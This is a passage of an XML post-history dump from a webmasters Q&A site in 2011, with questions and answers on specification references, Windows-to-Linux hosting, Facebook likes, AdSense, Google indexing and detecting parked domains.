[4]: http://dev.w3.org/html5/spec/Overview.html&#xD;&#xA;  [5]: http://www.w3.org/TR/CSS/#css3&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/ECMAScript&#xD;&#xA;  [7]: http://www.ecma-international.org/publications/standards/Ecma-262.htm&#xD;&#xA;  [8]: http://w3fools.com/&#xD;&#xA;  [9]: http://reference.sitepoint.com/css&#xD;&#xA;  [10]: http://reference.sitepoint.com/html&#xD;&#xA;  [11]: http://reference.sitepoint.com/javascript&#xD;&#xA;  [12]: https://developer.mozilla.org/en-US/docs" />
  <row Id="34476" PostHistoryTypeId="5" PostId="14678" RevisionGUID="6795d2b4-00ae-4f52-be0d-fa1942799d0b" CreationDate="2011-06-01T19:21:31.223" UserId="1253" Comment="edited body" Text="The W3C handles the HTML and CSS specifications&#xD;&#xA;&#xD;&#xA;[HTML 4 specification from the W3C][1]   &#xD;&#xA;[XHTML specification from the W3C][2]   &#xD;&#xA;[CSS 2.1 specifications from the W3C][3]    &#xD;&#xA;[HTML 5 specifications from the W3C (Working Draft)][4]    &#xD;&#xA;[CSS 3 specifications (Working Draft)][5]&#xD;&#xA;&#xD;&#xA;The official spec for JavaScript is the [EMCAscript][6] standard &#xD;&#xA;&#xD;&#xA;[EMCA specifications][7]&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;I hope this is what you were looking for. Ipurposely didn't use the w3schools references because they are [known for having bad information in them][8].&#xD;&#xA;&#xD;&#xA;[Sitepoint CSS reference][9]  &#xD;&#xA;[Sitepoint HTML reference][10]  &#xD;&#xA;[Sitepoint JavaScript reference][11] &#xD;&#xA;&#xD;&#xA;**UPDATE 2**&#xD;&#xA;&#xD;&#xA;From Nick's comment: [Mozilla Developer Network (MDN)][12]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/html401/&#xD;&#xA;  [2]: http://www.w3.org/TR/xhtml1/&#xD;&#xA;  [3]: http://www.w3.org/TR/CSS21/&#xD;&#xA;  [4]: http://dev.w3.org/html5/spec/Overview.html&#xD;&#xA;  [5]: http://www.w3.org/TR/CSS/#css3&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/ECMAScript&#xD;&#xA;  [7]: http://www.ecma-international.org/publications/standards/Ecma-262.htm&#xD;&#xA;  [8]: http://w3fools.com/&#xD;&#xA;  [9]: http://reference.sitepoint.com/css&#xD;&#xA;  [10]: http://reference.sitepoint.com/html&#xD;&#xA;  [11]: http://reference.sitepoint.com/javascript&#xD;&#xA;  [12]: https://developer.mozilla.org/en-US/docs" />
  <row Id="34477" PostHistoryTypeId="2" PostId="14683" RevisionGUID="d277a341-22bd-4e64-8bce-d71dda31087f" CreationDate="2011-06-01T19:53:36.733" UserId="7962" Text="I'm looking forward installing a CMS for my sites - most likely Joomla - but apparently Windows hosting doesn't support it. **I was wondering what kind of changes I'd have to perform if I changed to Linux.** It took me a long time to finally have the PHP form working and I wouldn't want to go all through that again. Aside from that and a Wordpress widget, I don't think I use any other code that would need tweaking." />
  <row Id="34478" PostHistoryTypeId="1" PostId="14683" RevisionGUID="d277a341-22bd-4e64-8bce-d71dda31087f" CreationDate="2011-06-01T19:53:36.733" UserId="7962" Text="Migration from Windows to Linux hosting" />
  <row Id="34479" PostHistoryTypeId="3" PostId="14683" RevisionGUID="d277a341-22bd-4e64-8bce-d71dda31087f" CreationDate="2011-06-01T19:53:36.733" UserId="7962" Text="&lt;php&gt;&lt;web-hosting&gt;&lt;linux&gt;&lt;windows&gt;&lt;migration&gt;" />
  <row Id="34482" PostHistoryTypeId="2" PostId="14685" RevisionGUID="1f76ed53-b534-438f-9903-d355a5208da1" CreationDate="2011-06-01T20:53:50.623" UserId="6033" Text="In a standard linux (apache webserver) hosting environment it should be easier to get a php form and wordpress widget to work without tweaks. Without knowing what you did to make them work, it's difficult to answer your question. I've used hosts such as readyhosting.com that allow php to run on windows servers, but many hosts have better support for php based applications on linux hosting. &#xD;&#xA;&#xD;&#xA;Overall, moving to a linux host for easy management of a cms system should outweigh whatever work it took to get your other items working on windows. " />
  <row Id="34490" PostHistoryTypeId="25" PostId="14680" RevisionGUID="cec6c1e7-7b79-459e-a414-7ca6e8ee4483" CreationDate="2011-06-01T21:13:33.643" Comment="http://twitter.com/#!/StackWebmasters/status/76033665733369856" />
  <row Id="34491" PostHistoryTypeId="2" PostId="14687" RevisionGUID="10ee83b8-d971-4033-ab78-fef7c01254f2" CreationDate="2011-06-01T22:41:53.890" UserId="709" Text="I can recommend [Korax's &quot;Net Image&quot; webhost account on a shared server][1].  I've used them for about 9 years.  Their servers are in Toronto.  They have always responded to my queries within hours, even on the weekend.  I've not noticed any security issues with them.  If you need something more, they also offer a dedicated, managed server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.korax.net/hosting/netimage/" />
  <row Id="34492" PostHistoryTypeId="2" PostId="14688" RevisionGUID="4c4c681a-9521-4227-a25b-fae85a5253fe" CreationDate="2011-06-01T23:53:30.267" UserId="2288" Text="Beyond the count posted next to the button, is there anyway to see a list of users have completed a successful “like” action, but not as the owner of the &quot;like&quot; button/website; or for that matter any additional information." />
  <row Id="34493" PostHistoryTypeId="1" PostId="14688" RevisionGUID="4c4c681a-9521-4227-a25b-fae85a5253fe" CreationDate="2011-06-01T23:53:30.267" UserId="2288" Text="Tracking Facebook &quot;Likes&quot;" />
  <row Id="34494" PostHistoryTypeId="3" PostId="14688" RevisionGUID="4c4c681a-9521-4227-a25b-fae85a5253fe" CreationDate="2011-06-01T23:53:30.267" UserId="2288" Text="&lt;facebook&gt;&lt;analytics&gt;" />
  <row Id="34495" PostHistoryTypeId="25" PostId="14683" RevisionGUID="6e2c213d-1dde-4049-8cb6-235a17c2add8" CreationDate="2011-06-02T00:13:33.243" Comment="http://twitter.com/#!/StackWebmasters/status/76078961750327296" />
  <row Id="34502" PostHistoryTypeId="2" PostId="14690" RevisionGUID="6450c0ac-83e0-4071-a965-37b6128cd038" CreationDate="2011-06-02T01:06:12.573" UserId="2288" Text="Looking for data on the buying pattern for males vs females online: &#xD;&#xA;&#xD;&#xA; - Percent of transactions (with estimated count of total transactions)&#xD;&#xA; - Percent of total dollar value (with estimated total in US-Dollars)&#xD;&#xA; - Any additional information.&#xD;&#xA;&#xD;&#xA;If possible, within the US only; but additional information is a bonus. " />
  <row Id="34503" PostHistoryTypeId="1" PostId="14690" RevisionGUID="6450c0ac-83e0-4071-a965-37b6128cd038" CreationDate="2011-06-02T01:06:12.573" UserId="2288" Text="Data on male/female online buying patterns" />
  <row Id="34504" PostHistoryTypeId="3" PostId="14690" RevisionGUID="6450c0ac-83e0-4071-a965-37b6128cd038" CreationDate="2011-06-02T01:06:12.573" UserId="2288" Text="&lt;online&gt;&lt;market-share&gt;&lt;marketing&gt;" />
  <row Id="34505" PostHistoryTypeId="5" PostId="14690" RevisionGUID="7d5e621a-4c03-415d-9784-fbc9110cf8c5" CreationDate="2011-06-02T01:11:28.343" UserId="1253" Comment="modified tags" Text="Looking for data on the buying pattern for males vs females online: &#xD;&#xA;&#xD;&#xA; - Percent of transactions (with estimated count of total transactions)&#xD;&#xA; - Percent of total dollar value (with estimated total in US-Dollars)&#xD;&#xA; - Any additional information.&#xD;&#xA;&#xD;&#xA;If possible, within the US only; but additional information is a bonus.  " />
  <row Id="34506" PostHistoryTypeId="6" PostId="14690" RevisionGUID="7d5e621a-4c03-415d-9784-fbc9110cf8c5" CreationDate="2011-06-02T01:11:28.343" UserId="1253" Comment="modified tags" Text="&lt;marketing&gt;&lt;online&gt;" />
  <row Id="34507" PostHistoryTypeId="2" PostId="14691" RevisionGUID="682d37ee-8c6e-4a50-98f8-161a3f0c7223" CreationDate="2011-06-02T01:34:24.150" UserId="233" Text="In Google Adsense there is an ad unit that is showing as Active, even though I am sure it's not on any of my pages. I checked the ID against my entire website folder with `grep` and nothing came up.&#xD;&#xA;&#xD;&#xA;Under &quot;Performance Reports&quot; the ad unit appears to get an average of 4 impressions each day. Where might these ads be showing up? From a (really) old cache, perhaps? Is there any way to find out exactly what pages gave those ad impressions?" />
  <row Id="34508" PostHistoryTypeId="1" PostId="14691" RevisionGUID="682d37ee-8c6e-4a50-98f8-161a3f0c7223" CreationDate="2011-06-02T01:34:24.150" UserId="233" Text="Is it possible to find on which pages Adsense units are active?" />
  <row Id="34509" PostHistoryTypeId="3" PostId="14691" RevisionGUID="682d37ee-8c6e-4a50-98f8-161a3f0c7223" CreationDate="2011-06-02T01:34:24.150" UserId="233" Text="&lt;google-adsense&gt;&lt;ad-unit&gt;" />
  <row Id="34510" PostHistoryTypeId="5" PostId="8528" RevisionGUID="7614d23e-b98a-4e26-bb5b-e287f43cbe12" CreationDate="2011-06-02T03:06:52.023" UserId="5315" Comment="Removed &quot;hello&quot;, &quot;thank you&quot; as per general StackExchange philosophy." Text="I have embedded the youtube image from youtube server which is &quot;http://img.youtube.com/vi/0.jpg&quot;, now there is no play button shows up on middle of the image as we see usually any youtube videos! &#xD;&#xA;&#xD;&#xA;I tried to use the following code to get an image on top of the youtube image but it shows bigger picture, i know why&#xD;&#xA;&#xD;&#xA;    &lt;a class=&quot;fancybox&quot; href=&quot;#video&quot;&gt;&#xD;&#xA;    &lt;img src=&quot;/wp-content/themes/mytheme/images/play_button.png&quot; no-repeat width: 0px height:0px; style=&quot;background: url(http://img.youtube.com/vi/&lt;?php echo $youtubeid ; ?&gt;/0.jpg) transparent&quot; width=&quot;180&quot; height=&quot;150&quot;/&gt;&#xD;&#xA;&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;    &lt;div id =&quot;video&quot;&gt;&#xD;&#xA;    // here is my embedded youtube usual code&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;both images shown in 180 x 150 size, but thats not what i want. &#xD;&#xA;&#xD;&#xA;I want youtube image will be shown in 180 x 150 size and play button image (play_button.png) will be display in middle of the youtube image in small size.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any clue in css or coding in php will be great favour." />
  <row Id="34511" PostHistoryTypeId="24" PostId="8528" RevisionGUID="7614d23e-b98a-4e26-bb5b-e287f43cbe12" CreationDate="2011-06-02T03:06:52.023" Comment="Proposed by 5315 approved by 1253 edit id of 369" />
  <row Id="34512" PostHistoryTypeId="25" PostId="14691" RevisionGUID="f9bdf486-64d4-4a5c-896a-55e8b174ef09" CreationDate="2011-06-02T03:13:33.173" Comment="http://twitter.com/#!/StackWebmasters/status/76124260497760256" />
  <row Id="34513" PostHistoryTypeId="2" PostId="14692" RevisionGUID="0dc18f81-19c1-4432-a66a-ee6d05a1d4ad" CreationDate="2011-06-02T03:36:05.057" UserId="5315" Text="You can use the [Facebook Graph API][1], passing the URL of the page to it in the following format:&#xD;&#xA;&#xD;&#xA;    https://graph.facebook.com/?ids=&lt;url&gt;&#xD;&#xA;&#xD;&#xA;Where `&lt;url&gt;` is the url you wish to get the like information for.&#xD;&#xA;&#xD;&#xA;However, there is a catch; the page has to be properly tagged for the [Open Graph Protocol][2].  If so, you will get a JSON result like so:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;       &quot;http://www.imdb.com/title/tt0117500/&quot;: {&#xD;&#xA;          &quot;id&quot;: &quot;114324145263104&quot;,&#xD;&#xA;          &quot;name&quot;: &quot;The Rock (1996)&quot;,&#xD;&#xA;          &quot;picture&quot;: &quot;http://profile.ak.fbcdn.net/hprofile-ak-snc4/188097_114324145263104_339757_s.jpg&quot;,&#xD;&#xA;          &quot;link&quot;: &quot;http://www.imdb.com/title/tt0117500/&quot;,&#xD;&#xA;          &quot;category&quot;: &quot;Movie&quot;,&#xD;&#xA;          &quot;likes&quot;: 6415,&#xD;&#xA;          &quot;website&quot;: &quot;http://www.imdb.com/title/tt0117500/&quot;,&#xD;&#xA;          &quot;description&quot;: &quot;Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.&quot;&#xD;&#xA;       }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The [above result][3] is for the entry for the movie [&quot;The Rock&quot; on IMDB][4].&#xD;&#xA;&#xD;&#xA;However, if the page does not have the proper tags, then your result will contain just the number of shares, an example being for the [Google front page][5]:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;       &quot;http://www.google.com&quot;: {&#xD;&#xA;          &quot;id&quot;: &quot;http://www.google.com&quot;,&#xD;&#xA;          &quot;shares&quot;: 1319932&#xD;&#xA;       }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;  [1]: http://developers.facebook.com/docs/reference/api/&#xD;&#xA;  [2]: http://developers.facebook.com/docs/opengraph/&#xD;&#xA;  [3]: https://graph.facebook.com/?ids=http://www.imdb.com/title/tt0117500/&#xD;&#xA;  [4]: http://www.imdb.com/title/tt0117500/&#xD;&#xA;  [5]: https://graph.facebook.com/?ids=http://www.google.com" />
  <row Id="34514" PostHistoryTypeId="17" PostId="14693" RevisionGUID="625bff3b-1ba4-493c-8b85-0831d5f41d67" CreationDate="2011-06-02T03:48:22.700" UserId="-1" Comment="from http://stackoverflow.com/questions/6208303/upper-case-vs-lower-case-in-javascript-var-function-names-in-html-id-s-na" Text="" />
  <row Id="34515" PostHistoryTypeId="17" PostId="14694" RevisionGUID="da444ea6-2fb7-4b38-b2ef-ee22c04ede02" CreationDate="2011-06-02T03:48:22.700" UserId="-1" Comment="from http://stackoverflow.com/questions/6208303/upper-case-vs-lower-case-in-javascript-var-function-names-in-html-id-s-na" Text="" />
  <row Id="34516" PostHistoryTypeId="17" PostId="14695" RevisionGUID="765e660e-18ad-43eb-b4e7-41c735dbf408" CreationDate="2011-06-02T03:48:22.700" UserId="-1" Comment="from http://stackoverflow.com/questions/6208303/upper-case-vs-lower-case-in-javascript-var-function-names-in-html-id-s-na" Text="" />
  <row Id="34517" PostHistoryTypeId="2" PostId="14694" RevisionGUID="a6bfd028-7841-4455-bd5c-bfe3ca6536a0" CreationDate="2011-06-01T22:07:37.600" UserId="1780" Text="It most likely doesn't matter at all." />
  <row Id="34518" PostHistoryTypeId="2" PostId="14695" RevisionGUID="6e52e85e-46dd-4bb5-81d6-ca6982d94c3f" CreationDate="2011-06-01T22:31:19.413" UserDisplayName="KooiInc" Text="I don't think search engine bots bother about html elements, element id's or javascript in the pages, let alone if id's or function names are upper- or lower case. It's headers and content that's interesting for SEO." />
  <row Id="34519" PostHistoryTypeId="2" PostId="14693" RevisionGUID="63e2bcd9-78f8-47ce-b2e9-391fa4d45218" CreationDate="2011-06-01T22:05:25.830" UserDisplayName="LostLord" Text="i know this Q is too short  &#xD;&#xA;but it's very important!  &#xD;&#xA;which is better for SEO ?   &#xD;&#xA;&#xD;&#xA;PART 1 :(HTML)   &#xD;&#xA;1-  &#xD;&#xA;&#xD;&#xA;    &lt;p id=&quot;hello&quot;&gt;&lt;/p&gt; &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;2-  &#xD;&#xA;&#xD;&#xA;    &lt;p id=&quot;HELLO&quot;&gt;&lt;/p&gt;&#xD;&#xA;&#xD;&#xA;3-  &#xD;&#xA;&#xD;&#xA;    &lt;p id=&quot;Hello&quot;&gt;&lt;/p&gt;&#xD;&#xA;&#xD;&#xA;4-  &#xD;&#xA;&#xD;&#xA;    &lt;p id=&quot;hELLO&quot;&gt;&lt;/p&gt;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;PART 2 :(JAVASCRIPT)   &#xD;&#xA;1-  &#xD;&#xA;&#xD;&#xA;    function hello(){}&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;2-  &#xD;&#xA;&#xD;&#xA;    function HELLO(){}&#xD;&#xA;&#xD;&#xA;3-  &#xD;&#xA;&#xD;&#xA;    function Hello(){}&#xD;&#xA;&#xD;&#xA;4-  &#xD;&#xA;&#xD;&#xA;    function hELLO(){}  &#xD;&#xA;&#xD;&#xA;thanks in advance" />
  <row Id="34520" PostHistoryTypeId="1" PostId="14693" RevisionGUID="63e2bcd9-78f8-47ce-b2e9-391fa4d45218" CreationDate="2011-06-01T22:05:25.830" UserDisplayName="LostLord" Text="upper-case VS. lower-case (in javascript var &amp; function Names) (in html id s &amp; names) -&gt; for SEO" />
  <row Id="34521" PostHistoryTypeId="3" PostId="14693" RevisionGUID="63e2bcd9-78f8-47ce-b2e9-391fa4d45218" CreationDate="2011-06-01T22:05:25.830" UserDisplayName="LostLord" Text="&lt;javascript&gt;&lt;xhtml&gt;&lt;seo&gt;" />
  <row Id="34522" PostHistoryTypeId="2" PostId="14696" RevisionGUID="9895bb55-fa45-4b21-a3f1-c2b40eed42b5" CreationDate="2011-06-02T03:59:36.820" UserId="3328" Text="The Scene7 desktop application is likely the only place where you can manage (or get access to) originals. &#xD;&#xA;&#xD;&#xA;However, the link you provided does accept a width value of up to [2000px](http://images.nike.com/is/image/DotCom/404128_010_A?wid=2000)" />
  <row Id="34523" PostHistoryTypeId="2" PostId="14697" RevisionGUID="c6cf46c0-1168-4c0b-8b04-ddd70f213353" CreationDate="2011-06-02T04:54:37.943" UserId="7975" Text="Why would you use one versus the other?&#xD;&#xA;&#xD;&#xA;blog.abc.com | www.abc.com/blog / mobile.abc.com | www.abc.com/mobile &#xD;&#xA;&#xD;&#xA;I'm not a web guy by any means, hence my question here. Feel free to be as technical or as simple as you want. I am not someone who is unfamiliar with tech, just unfamiliar with web development. &#xD;&#xA;&#xD;&#xA;Thanks! " />
  <row Id="34524" PostHistoryTypeId="1" PostId="14697" RevisionGUID="c6cf46c0-1168-4c0b-8b04-ddd70f213353" CreationDate="2011-06-02T04:54:37.943" UserId="7975" Text="What's the difference? mobile.abc.com | www.abc.com/mobile" />
  <row Id="34525" PostHistoryTypeId="3" PostId="14697" RevisionGUID="c6cf46c0-1168-4c0b-8b04-ddd70f213353" CreationDate="2011-06-02T04:54:37.943" UserId="7975" Text="&lt;url&gt;&lt;url-format&gt;" />
  <row Id="34526" PostHistoryTypeId="5" PostId="14697" RevisionGUID="3a850a67-f4ac-410e-8170-9ef6505ddde2" CreationDate="2011-06-02T06:05:02.210" UserId="7975" Comment="added 32 characters in body; edited title" Text="Why would you use one versus the other?&#xD;&#xA;&#xD;&#xA;blog.somecompany.com | www.somecompany.com/blog / mobile.somecompany.com | www.somecompany.com/mobile &#xD;&#xA;&#xD;&#xA;I'm not a web guy by any means, hence my question here. Feel free to be as technical or as simple as you want. I am not someone who is unfamiliar with tech, just unfamiliar with web development. &#xD;&#xA;&#xD;&#xA;Thanks! " />
  <row Id="34527" PostHistoryTypeId="4" PostId="14697" RevisionGUID="3a850a67-f4ac-410e-8170-9ef6505ddde2" CreationDate="2011-06-02T06:05:02.210" UserId="7975" Comment="added 32 characters in body; edited title" Text="What's the difference? mobile.somecompany.com | www.somecompany.com/mobile" />
  <row Id="34528" PostHistoryTypeId="25" PostId="14688" RevisionGUID="80cedb79-b362-471e-a967-af0b498be29b" CreationDate="2011-06-02T06:13:33.880" Comment="http://twitter.com/#!/StackWebmasters/status/76169562311245824" />
  <row Id="34529" PostHistoryTypeId="2" PostId="14698" RevisionGUID="c6da2544-fc4e-4ca9-8b20-5cbe85c38b24" CreationDate="2011-06-02T06:44:35.277" UserId="7978" Text="I just realized that Mr. G aka Mr. Google is indexing parts of my site that I haven't linked to, it's a mobile version of website www.domain.com/m/ &lt;-- note the M.&#xD;&#xA;&#xD;&#xA;How is that even possible? Only thing I can think of is Google getting the URL's from Google Analytics.&#xD;&#xA;&#xD;&#xA;Same problem with my development site, dev.domain.com - This I have fixed by re-enable htpasswd. Had it once, but disabled it for some testing purposes.&#xD;&#xA;&#xD;&#xA;I know I could use robots.txt to skip the indexing, but have always been told - &quot;Don't put super secret stuff in this, as it is public domain&quot;.&#xD;&#xA;&#xD;&#xA;Will Google follow the rules of a `&lt;meta name=&quot;robots&quot; content=&quot;noindex,nofollow&quot;&gt;` ?&#xD;&#xA;Thinking of putting this on the mobile version.&#xD;&#xA;&#xD;&#xA;People accessing www.domain.com from a smartphone is automagicly redirected to the mobile version." />
  <row Id="34530" PostHistoryTypeId="1" PostId="14698" RevisionGUID="c6da2544-fc4e-4ca9-8b20-5cbe85c38b24" CreationDate="2011-06-02T06:44:35.277" UserId="7978" Text="Google is indexing unpublished/secret part of site" />
  <row Id="34531" PostHistoryTypeId="3" PostId="14698" RevisionGUID="c6da2544-fc4e-4ca9-8b20-5cbe85c38b24" CreationDate="2011-06-02T06:44:35.277" UserId="7978" Text="&lt;seo&gt;&lt;robots.txt&gt;" />
  <row Id="34532" PostHistoryTypeId="2" PostId="14699" RevisionGUID="81f91849-37b1-4909-bbec-2d96ba64610d" CreationDate="2011-06-02T06:44:40.410" UserId="7979" Text="Before writing the plug-in for Wolf Software we actually contacted the ICO to check the position, and from that consultation we are of the understanding that GA should be considered to be non-essential and as such consent is required. &#xD;&#xA;&#xD;&#xA;The issue about it being 1st or 3rd is moot as it is only the 'non-essential' part that makes it covered by the law.&#xD;&#xA;&#xD;&#xA;We are not implying that the problem is the webmasters either as stated at the top, what we have done is give webmasters a simple solution to this problem should they want to use it. We are led to believe that it is the website 'owner' who is ultimately responsible.&#xD;&#xA;&#xD;&#xA;We have also verified with the ICO that the plug-in we released was fir for purpose and met the new legislation requirements with regards to GA.&#xD;&#xA;&#xD;&#xA;It is very much a case of, if you want it, it is there to use, we do not imply anything about the law, we just offer a simple free solution to one aspect of it." />
  <row Id="34533" PostHistoryTypeId="5" PostId="14698" RevisionGUID="b4e4a83e-3b56-4e95-9208-f17052da3564" CreationDate="2011-06-02T06:57:03.803" UserId="7978" Comment="added 22 characters in body" Text="I just realized that Mr. G aka Mr. Google is indexing parts of my site that I haven't linked to, it's a mobile version of website that I'm working on - www.domain.com/m/ &lt;-- note the M.&#xD;&#xA;&#xD;&#xA;How is that even possible? Only thing I can think of is Google getting the URL's from Google Analytics.&#xD;&#xA;&#xD;&#xA;Same problem with my development site, dev.domain.com - This I have fixed by re-enable htpasswd. Had it once, but disabled it for some testing purposes.&#xD;&#xA;&#xD;&#xA;I know I could use robots.txt to skip the indexing, but have always been told - &quot;Don't put super secret stuff in this, as it is public domain&quot;.&#xD;&#xA;&#xD;&#xA;Will Google follow the rules of a `&lt;meta name=&quot;robots&quot; content=&quot;noindex,nofollow&quot;&gt;` ?&#xD;&#xA;Thinking of putting this on the mobile version.&#xD;&#xA;&#xD;&#xA;People accessing www.domain.com from a smartphone is automagicly redirected to the mobile version." />
  <row Id="34534" PostHistoryTypeId="2" PostId="14700" RevisionGUID="98a44fb0-860e-41ca-b00e-2982a10a68af" CreationDate="2011-06-02T07:01:05.627" UserId="1643" Text="Windows supports Joomla because it supports PHP. However you may not find many hosts that have it as a pre-installed option. However a Google search turns up one that gives you instructions on how to install it on their hosting and so there may be others." />
  <row Id="34535" PostHistoryTypeId="2" PostId="14701" RevisionGUID="6d8c8d1a-b61d-4045-ad7d-ccf738329f47" CreationDate="2011-06-02T07:11:13.657" UserId="7198" Text="Possible detection methods for parked pages/domains:&#xD;&#xA;&#xD;&#xA;###Find junk phrases&#xD;&#xA;Do a case insensitive search for common generic junk phrases such as, &quot;what you need, when you need it&quot; and &quot;your source for virtually anything!&quot;.&#xD;&#xA;&#xD;&#xA;###Find invitations to purchase&#xD;&#xA;Look for text such as &quot;inquire about this domain&quot; and &quot;this domain may be for sale&quot;.&#xD;&#xA;&#xD;&#xA;###Test for 404s on random subpages&#xD;&#xA;Visit `testdomain.com/randomstring`. If you get a 404, or the page itself contains the text '404' or 'not found', it's probably not parked.&#xD;&#xA;&#xD;&#xA;###Test for redirects on random subpages&#xD;&#xA;Other parked domain systems redirect `testdomain.com/randomstring` to `testdomain.com`. &#xD;&#xA;&#xD;&#xA;###Search for the domain name in meta tags&#xD;&#xA;Several parked domain templates use the following format for the author meta tag:  &#xD;&#xA;&#xD;&#xA;`&lt;meta name=&quot;author&quot; content=&quot;Nameofdomain.com&quot; /&gt;`&#xD;&#xA;&#xD;&#xA;Others put it in the description:  &#xD;&#xA;&#xD;&#xA;`&lt;meta name=&quot;description&quot; content=&quot;nameofdomain.com&quot;&gt;`&#xD;&#xA;&#xD;&#xA;In each case, the domain is the *only* thing in the 'content' attribute. This is unlikely to be the case for active sites.&#xD;&#xA;&#xD;&#xA;###Use multiple tests&#xD;&#xA;No single one of these tests are necessarily reliable indicators of a parked domain on their own. You will likely have to combine multiple tests to create your own algorithm, then test and refine it based on a suite of known parked domains and known active ones.&#xD;&#xA;" />
  <row Id="34536" PostHistoryTypeId="2" PostId="14702" RevisionGUID="d9deed91-ad63-4139-b5c7-08f2778e6101" CreationDate="2011-06-02T07:14:08.983" UserId="1643" Text="There are various theories as to how Google knows what to crawl. It could be that someone linked to your mobile version. It could be that Google tried random urls and came across the /m version of your site. I'm not aware that they say they won't use URLs from their analytics data.&#xD;&#xA;&#xD;&#xA;Yes they do follow those rules: http://googlewebmastercentral.blogspot.com/2007/03/using-robots-meta-tag.html." />
  <row Id="34537" PostHistoryTypeId="5" PostId="14701" RevisionGUID="f7c2b033-cc49-4c5d-8ad3-1fcc99c56cab" CreationDate="2011-06-02T07:24:21.090" UserId="7198" Comment="added frameset tag test" Text="Possible detection methods for parked pages/domains:&#xD;&#xA;&#xD;&#xA;###Find junk phrases&#xD;&#xA;Do a case insensitive search for common generic junk phrases such as, &quot;what you need, when you need it&quot; and &quot;your source for virtually anything!&quot;.&#xD;&#xA;&#xD;&#xA;###Find invitations to purchase&#xD;&#xA;Look for text such as &quot;inquire about this domain&quot; and &quot;this domain may be for sale&quot;.&#xD;&#xA;&#xD;&#xA;###Test for 404s on random subpages&#xD;&#xA;Visit `testdomain.com/randomstring`. If you get a 404, or the page itself contains the text '404' or 'not found', it's probably not parked.&#xD;&#xA;&#xD;&#xA;###Test for redirects on random subpages&#xD;&#xA;Other parked domain systems redirect `testdomain.com/randomstring` to `testdomain.com`. &#xD;&#xA;&#xD;&#xA;###Search for the domain name in meta tags&#xD;&#xA;Several parked domain templates use the following format for the author meta tag:  &#xD;&#xA;&#xD;&#xA;`&lt;meta name=&quot;author&quot; content=&quot;Nameofdomain.com&quot; /&gt;`&#xD;&#xA;&#xD;&#xA;Others put it in the description:  &#xD;&#xA;&#xD;&#xA;`&lt;meta name=&quot;description&quot; content=&quot;nameofdomain.com&quot;&gt;`&#xD;&#xA;&#xD;&#xA;In each case, the domain is the *only* thing in the 'content' attribute. This is unlikely to be the case for active sites.&#xD;&#xA;&#xD;&#xA;###Look for the frameset tag&#xD;&#xA;Some parked domain templates use the `&lt;frameset&gt;` tag with multiple internal frames to pull in external content (often from 'information.com'), but otherwise feature nothing else on the page.&#xD;&#xA;&#xD;&#xA;###Use multiple tests&#xD;&#xA;No single one of these tests are necessarily reliable indicators of a parked domain on their own. You will likely have to combine multiple tests to create your own algorithm, then test and refine it based on a suite of known parked domains and known active ones.&#xD;&#xA;" />
  <row Id="34538" PostHistoryTypeId="2" PostId="14703" RevisionGUID="b47431e9-c6e6-472f-971a-135666ee48b4" CreationDate="2011-06-02T08:22:25.683" UserId="7074" Text="It is strictly a blogger related query.&#xD;&#xA;&#xD;&#xA;I am running a blog on blogger i.e.blogspot.&#xD;&#xA;http://placementpapersanswers.blogspot.com&#xD;&#xA;&#xD;&#xA;From last 2 months i am trying to change the xml template code of my  blog.&#xD;&#xA;I have tried few methods present  on the **following sites**,but it does not work for me.&#xD;&#xA;&#xD;&#xA;http://adsinthemiddle.blogspot.com/ and&#xD;&#xA;&#xD;&#xA;http://djyano.blogspot.com/2008/03/put-your-adsense-in-middle-of-post.html&#xD;&#xA;&#xD;&#xA;Still i m not able to show adsense in the middle of my post.&#xD;&#xA;&#xD;&#xA;Any help ?&#xD;&#xA;&#xD;&#xA;Regards&#xD;&#xA;&#xD;&#xA;Sangram Nandkhile" />
  <row Id="34539" PostHistoryTypeId="1" PostId="14703" RevisionGUID="b47431e9-c6e6-472f-971a-135666ee48b4" CreationDate="2011-06-02T08:22:25.683" UserId="7074" Text="How to add adsense unit in the middle of my blog post ?" />
  <row Id="34540" PostHistoryTypeId="3" PostId="14703" RevisionGUID="b47431e9-c6e6-472f-971a-135666ee48b4" CreationDate="2011-06-02T08:22:25.683" UserId="7074" Text="&lt;blog&gt;&lt;blogger&gt;" />
  <row Id="34541" PostHistoryTypeId="2" PostId="14704" RevisionGUID="6d1bde56-3b51-410f-94fe-ddfbb76b7ab5" CreationDate="2011-06-02T08:33:05.030" UserId="3697" Text="I've seen a few questions here about similar things in facebook that are resolved once the url is run through the [Facebook URL Linter][1] - see if that picks up the admin OpenGraph property.&#xD;&#xA;&#xD;&#xA;Next, go to [Facebook Insights][2] and 'claim' your site using the green 'Insights for your website' button at the top left. This will use the OpenGraph property to connect your site with your FB account.&#xD;&#xA;&#xD;&#xA;Hope that helps!&#xD;&#xA;&#xD;&#xA;Adam&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developers.facebook.com/tools/lint/&#xD;&#xA;  [2]: http://facebook.com/insights" />
